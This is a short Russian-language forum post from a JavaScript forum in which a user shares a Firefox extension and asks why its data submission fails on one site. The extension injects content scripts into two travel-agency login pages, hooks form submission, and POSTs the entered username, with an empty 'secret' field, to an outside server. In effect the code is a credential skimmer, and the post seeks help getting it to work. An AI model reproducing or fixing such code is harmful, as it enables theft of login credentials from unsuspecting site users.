Javascript-форум (https://javascript.ru/forum/)
-   Firefox/Mozilla (https://javascript.ru/forum/css-html-firefox-mizilla/)
-   -   Отправка данных ajax работает не на всех сайтах (https://javascript.ru/forum/css-html-firefox-mizilla/46929-otpravka-dannykh-ajax-rabotaet-ne-na-vsekh-sajjtakh.html)

Thunder 30.04.2014 07:27

Отправка данных ajax работает не на всех сайтах
 
Пытаюсь запилить расширение для Firefox, которое собирает некоторые данные на заданных сайтах. Сейчас имею проблему с тем, что не всегда данные уходят на удаленный сервер с помощью $.ajax()

main.js
var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");

pageMod.PageMod({
  include: "*.mouzenidis-travel.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("mouzenidis-travel.ru.js")]
});

pageMod.PageMod({
  include: "*.pegast.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("pegast.ru.js")]
});
data/mouzenidis-travel.ru.js
$("form").submit(function(){
    alert($("#UserName").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"mouzenidis-travel.ru",
                login   :$("#UserName").val(),
                secret  :""   }
    })
});
data/pegast.ru.js
$("form").submit(function(){
    alert($("#username").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"pegast.ru",
                login   :$("#username").val(),
                secret  :""   }
    })
});

Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер.


Часовой пояс GMT +3, время: 19:38.